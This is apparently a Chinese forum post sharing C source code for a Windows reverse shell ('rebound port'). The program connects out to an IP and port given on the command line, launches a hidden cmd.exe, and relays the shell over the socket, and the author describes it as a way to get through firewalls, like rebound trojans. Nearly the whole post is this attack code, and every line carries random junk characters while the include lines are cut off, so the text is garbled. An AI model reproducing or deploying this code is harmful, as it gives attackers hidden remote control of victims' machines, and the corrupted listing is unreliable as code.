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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GkGC4*n  
8~s-t  
/* ============================== *Nf4bH%MN  
Rebound port in Windows NT 1_j<%1{sZ  
By wind,2006/7 g?A5'o&Yu  
===============================*/ Qk~0a?#y5  
#include ttbQergS  
#include fJn3"D'  
m['v3m:  
#pragma comment(lib,"wsock32.lib") ^E<~zO=Z  
Z\*5:a]  
void OutputShell(); N1+4bR  
SOCKET sClient; c5iormb"#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,p*ntj{  
^Z-. [Y  
void main(int argc,char **argv) EN-8uY.  
{ S4k^&$;  
WSADATA stWsaData; 3D$\y~HU  
int nRet; anz9lGG#  
SOCKADDR_IN stSaiClient,stSaiServer; L.T gJv43  
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if(argc != 3) n&YW".iG  
{ mV**9-"  
printf("Useage:\n\rRebound DestIP DestPort\n"); +;:aG6q+  
return; w8ZHk?:  
} C>JekPeM  
*3.yumcv{L  
WSAStartup(MAKEWORD(2,2),&stWsaData); V`R)#G>IH%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KD%xo/Z.  
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stSaiClient.sin_family = AF_INET; oRT  
stSaiClient.sin_port = htons(0); Z0()pT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n!kk~65|  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nl)_`8=  
{ ?dJ/)3I%F  
printf("Bind Socket Failed!\n"); ~{1/*&P  
return; e9z$+h  
} ;1*m} uNz  
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stSaiServer.sin_family = AF_INET; -!'Oy%a#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {(m+M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *2qh3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )Y&MIJ7>@  
{ m0x J05Zx  
printf("Connect Error!"); _KSfP7VU  
return; QQ^Gd8nQ  
} J^+_8  
OutputShell(); b"ol\&1 #  
} pY{; Yn&t  
?r -\%_J_(  
void OutputShell() '2Q.~6   
{ KXoL,)Hl  
char szBuff[1024]; qy7hkq.uX  
SECURITY_ATTRIBUTES stSecurityAttributes; d'N(w7-Y  
OSVERSIONINFO stOsversionInfo; Ij;==f~G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rmY,v  
STARTUPINFO stStartupInfo; 88Fb1!a5Z  
char *szShell; ntrY =Y  
PROCESS_INFORMATION stProcessInformation; JwN}Jm  
unsigned long lBytesRead; fnVW/23  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +G*"jI8W  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (w5u*hx  
stSecurityAttributes.lpSecurityDescriptor = 0; 8fJR{jD(s  
stSecurityAttributes.bInheritHandle = TRUE; gIV3n#-{L  
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?ada>"~GR_  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _v1bTg"?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tP}Xhn`  
IY];Ss&i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ivz+Jj w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mDb-=[W5  
stStartupInfo.wShowWindow = SW_HIDE; 2-B6IPeI  
stStartupInfo.hStdInput = hReadPipe; ^7i^ \w0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <'r0r/0g?  
^c/mj9M#C  
GetVersionEx(&stOsversionInfo); f Ub1/-}  
>pgQb9 T+_  
switch(stOsversionInfo.dwPlatformId) 8# 6\+R  
{ X}3P1.n:  
case 1: gsW=3m&`  
szShell = "command.com"; x7vq?fP0n  
break; k%{ l4  
default: K5P Gi#  
szShell = "cmd.exe"; !nec 7  
break; N YCj; ,V  
} Xy:Gj, @  
q]F4Lq(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u8 |@|t  
&J\B\`  
send(sClient,szMsg,77,0); K|`+C1!  
while(1) :9(3h"  
{ 6_W<hevI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0LS -i%0  
if(lBytesRead) Bk&-1>cY  
{ YkSuwx@5_q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )\8URc|J  
send(sClient,szBuff,lBytesRead,0); :_>\DJ'>  
} E^7C _JP  
else tJff+n>  
{ :M@Mmp Ph  
lBytesRead=recv(sClient,szBuff,1024,0); E3y6c)<  
if(lBytesRead<=0) break; U?^OD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lco~X DI  
} ^SEc./$  
} Tj Mb>w9  
DG3[^B  
return; D`en%Lf!m  
}
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